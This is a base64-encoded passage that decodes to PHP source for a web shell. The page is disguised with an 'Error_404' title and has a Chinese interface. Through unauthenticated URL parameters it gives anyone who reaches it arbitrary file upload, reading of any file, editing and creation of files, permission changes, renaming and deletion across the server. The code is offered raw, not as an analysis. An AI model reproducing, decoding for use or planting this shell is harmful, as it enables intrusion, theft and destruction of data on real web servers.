CAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgICAgIHJldHVybiAkaW5mbzsKICAgIH0KCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgLyoqCiAgICAgKiDovazljJYgXCDkuLogLwogICAgICovCiAgICBmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkKICAgIHsKICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOwogICAgICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7CiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgfQoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogICAgLyoqIOWPluW+l+ermeeCueagueebruW9lQogICAgICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10KICAgICAqLwogICAgZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpewoKICAgICAgICAkcGhwX3NlbGYgPSBkaXJfcGF0aCgkX1NFUlZFUlsiUEhQX1NFTEYiXSk7CiAgICAgICAgJHNjcmlwdF9maWxlbmFtZSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiAgICAgICAgaWYgKGVtcHR5KCRfU0VSVkVSWyJQSFBfU0VMRiJdKSBvciBlbXB0eSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKXsKICAgICAgICAgICAgJGRvMSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pOwogICAgICAgICAgICAkZG8gPSBydHJpbSgkZG8xLCcvJyk7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICRkbyA9IHN0cl9yZXBsYWNlKHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJHBocF9zZWxmKSwgIiIsIHN0cl9yZXBsYWNlKCJcXFxcIiwgIi8iLCAkc2NyaXB0X2ZpbGVuYW1lKSk7CiAgICAgICAgfQoJCWlmKGVtcHR5KCRkbykpICRkbyA9ICcvJzsKICAgICAgICByZXR1cm4gJGRvOwogICAgfQogICAgJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7CiAgICBkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7CgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgoKICAgICRwaHBfdmVyc2lvbiA9IFBIUF9NQUpPUl9WRVJTSU9OOwoJaWYoJHBocF92ZXJzaW9uPD03KXsKCQlpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKCQkJZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKCQkJCSRfUE9TVFska2V5XSA9IHN0cmlwc2xhc2hlcygkdmFsdWUpOwoJCQl9CgkJfQoJfQoKICAgICRWZXJzaW9uID0gYmFzZTY0X2RlY29kZSgnNXB5QTVaQ081NXFFNVlDVTVieTYnKTsKICAgIGlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKICAgICAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107CiAgICB9ZWxzZXsKICAgICAgICAkcGF0aCA9IGdldGN3ZCgpOwogICAgfQoKCiAgICBlY2hvICc8IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIvPgo8L2hlYWQ+JzsKICAgID8+CgogICAgPGNlbnRlcj4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30KICAgICAgICAgICAgdGFibGUsdGgsdGR7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjEzcHg7fQogICAgICAgICAgICBpbnB1dCx0ZXh0YXJlYXt9CiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30KICAgICAgICAgICAgdGh7cGFkZGluZzoxMHB4O30KICAgICAgICAgICAgLnRkX2hvbWV7cGFkZGluZzo3cHg7fQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30KICAgICAgICAgICAgdGV4dGFyZWF7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7fQogICAgICAgICAgICAjY29udGVudCB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNjZWNlY2U7dGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7Y29sb3I6I2ZmZjt9CiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQogICAgICAgICAgICAuZGggYTpob3ZlcnsgY29sb3I6ICNmMDA7fQogICAgICAgIDwvc3R5bGU+CiAgICA8P3BocAogICAgZWNobyAnPC9oZWFkPgo8Ym9keT48Yj4KPEgxPjxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+Jy4kVmVyc2lvbi4nPC9mb250PjwvY2VudGVyPjwvaDE+Cjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+Cgo8dHI+PHRkPgoKPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOwogICAgaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpewogICAgICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKICAgIH1lbHNlewogICAgICAgICRwYXRoID0gZ2V0Y3dkKCk7CiAgICB9CiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCiAgICAkZ2VuX2xpbmtfdXJsID0gJzxhIHN0eWxlPSJjb2xvcjojMDA2NkZGIiBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuRE9DVU1FTlRfUk9PVDsKICAgICRnZW5fbGlua191cmwgLj0gJyI+5qC555uu5b2VIO+8miAgICA8L2E+Jm5ic3A7JzsKICAgIGVjaG8gJGdlbl9saW5rX3VybDsKCiAgICBmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpewogICAgICAgIGlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApewogICAgICAgICAgICAkYSA9IHRydWU7CiAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSMwMDA+CjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7CiAgICAgICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsKICAgICAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspewogICAgICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsKICAgICAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsKICAgICAgICB9CiAgICAgICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsKICAgIH0KICAgIGVjaG8gJzwvZm9udD4KPGJyPjxicj4KPC90ZD48L3RyPjx0cj48dGQ+PGNlbnRlcj4nOwoKICAgIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewogICAgICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgIH1lbHNlewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IuS4iuS8oCIgLz4KPC9mb3JtPjwvY2VudGVyPgo8L3RkPjwvdHI+JzsKICAgIGlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKICAgICAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsKICAgICAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107CiAgICAgICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsKICAgICAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7CiAgICB9Ci8vRW1wZXR5CiAgICBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gIT0gJ2RlbGV0ZScpewovLyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsKICAgICAgICBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsKLy9DaG1vZAogICAgICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsKICAgICAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107CgogICAgICAgICAgICAgICAgaWYoc3RybGVuKCRuZXdfcGVybV9vKTw9MykgJG5ld19wZXJtX289c3RyX3BhZCgkbmV3X3Blcm1fbywzLCc2JyxTVFJfUEFEX0xFRlQpOwogICAgICAgICAgICAgICAgJG5ld19wZXJtX289aW50dmFsKHN0cl9wYWQoJG5ld19wZXJtX28sNCwnMCcsU1RSX1BBRF9MRUZUKSw4KTsKCiAgICAgICAgICAgICAgICBpZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkbmV3X3Blcm1fbykpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5pu05pS55p2D6ZmQ5oiQ5Yqf77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5pu05pS55p2D6ZmQ6ZSZ6K+v77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsKICAgICAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj48YnI+CuW9k+WJjeaWh+S7tiA6ICcuJHBhdGMuJzxicj48YnI+5p2D6ZmQLS0tLScuc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRwYXRjKSwxMCw4KSwtNCkuJzxicj48YnI+Cuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4KPGJyPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+Cic7CgogICAgICAgIH0KLy8KICAgICAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsKICAgICAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBhY3Rpb249Ij9BUlJBWT0nLiRBUlJBWS4nJm9wdGlvbiZwYXRoPScuJGN3ZC4nJm9wdD1kZWxldGUmdHlwZT1idWF0IiBtZXRob2Q9IlBPU1QiPgrmlrDnm67lvZXlkI0gOiA8aW5wdXQgbmFtZT0ibmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSJGb2xkZXIiIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImRlbGV0ZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4nOwogICAgICAgIH0KLy9SZW5hbWUgZmlsZQogICAgICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ3JlbmFtZScpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+6YeN5ZG95ZCN5oiQ5YqfISA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+6YeN5ZG95ZCN5aSx6LSlISA6KCA8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPgo8L2Zvcm0+JzsKICAgICAgICB9Ci8vRmlsZSBiYXJ1CiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpewoKICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9IGVtcHR5KCRfUE9TVFsnbmV3bmFtZSddKT8kX1BPU1RbJ25nYXJhbjEnXTokX1BPU1RbJ25ld25hbWUnXTsKICAgICAgICAgICAgJGF6eiA9ICRfUE9TVFsncGF0aCddOwogICAgICAgICAgICAkbmV3eiA9ICRhenouIi8iLiRuZXc7CiAgICAgICAgICAgICRuZXdfZmllbCA9ICRoZWxsLicvJy4kX1BPU1RbJ25nYXJhbjEnXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnbmdhcmFuMSddKSkgZWNobyAi5q2j5Zyo5paw5bu65paH5Lu277yaeyRuZXdfZmllbH08YnI+PGJyPiI7CiAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CiAgICAgICAgICAgICAgICBpZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuaWsOW7uuaWh+S7tuaIkOWKnyBbICcuJGF6ei4nIF08L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuaWh+S7tuWksei0pSA+Oig8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPiDmlrDmlofku7blkI0gOiA8aW5wdXQgbmFtZT0ibmdhcmFuMSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRuZXcuJyIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJuZ2FyYW4iIC8+PC9mb3JtPjxicj4gJzsKCiAgICAgICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOwoKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZ2FyYW4nXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+CjwvZm9ybT4nOwogICAgICAgICAgICB9CiAgICAgICAgfQovL0VkaXRlZCBmaWxlCiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnZWRpdCcpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOwogICAgICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7nvJbovpHmiJDlip/vvIEgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7nvJbovpHlpLHotKXvvIE8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJHBhdGMpKS4nPC90ZXh0YXJlYT48YnIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPjxicj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+Cjxicj4KPGJyPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4KCjwvZm9ybT4nOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L2NlbnRlcj4nOwogICAgfWVsc2V7CiAgICAgICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7Ci8vRGVsZXRlIGRpciBhbmQgZmlsZQogICAgICAgIGlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddID09ICdkZWxldGUnKXsKCiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgovL0RlbGV0ZSBkaXIKICAgICAgICAgICAgaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZGlyJyl7CgogICAgICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQovL2J1YXQgZm9sZGVyCiAgICAgICAgICAgIGlmKCRfR0VUWyd0eXBlJ10gPT0gJ2J1YXQnKXsKICAgICAgICAgICAgICAgICRoYWFhID0gJF9QT1NUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkaGVlZSA9ICRfUE9TVFsnbmFtZSddOwogICAgICAgICAgICAgICAgJGhvb28gPSAiJGhhYWEvJGhlZWUiOwogICAgICAgICAgICAgICAgJG5ldyA9ICRoYWFhLicvJy5odG1sc3BlY2lhbGNoYXJzKCRoZWVlKTsKICAgICAgICAgICAgICAgIGlmKCFta2RpcigkbmV3KSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5paw5bu655uu5b2V5aSx6LSlITwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rnm67lvZXmiJDlip8hID46KTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Ci8vRGVsZXRlIGZpbGUKICAgICAgICAgICAgZWxzZWlmKCRfR0VUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKCiAgICAgICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgogICAgICAgICAgICAgICAgaWYodW5saW5rKCRwYXRjKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlofku7bliKDpmaTmiJDlip88L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWh+S7tuWIoOmZpOWksei0pTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvY2VudGVyPic7CiAgICAgICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkcGEgPSBnZXRjd2QoKTsKICAgICAgICBlY2hvICcgPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBjbGFzcz0idGFibGVfaG9tZSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogCjx0cj4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiPjxjZW50ZXI+5ZCN56ewPC9jZW50ZXI+PC90aD4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuWkp+WwjzwvY2VudGVyPjwvdGg+Cjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPgo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5pON5L2c6YCJ6aG5PC9jZW50ZXI+PC90aD4KPC90cj4KCgogPHRyPgo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuZGlybmFtZSgkcGF0aCkuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5LiK5LiA6aG1Ij7kuIrkuIDpobU8L2E+CjwvdGQ+PHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249Y2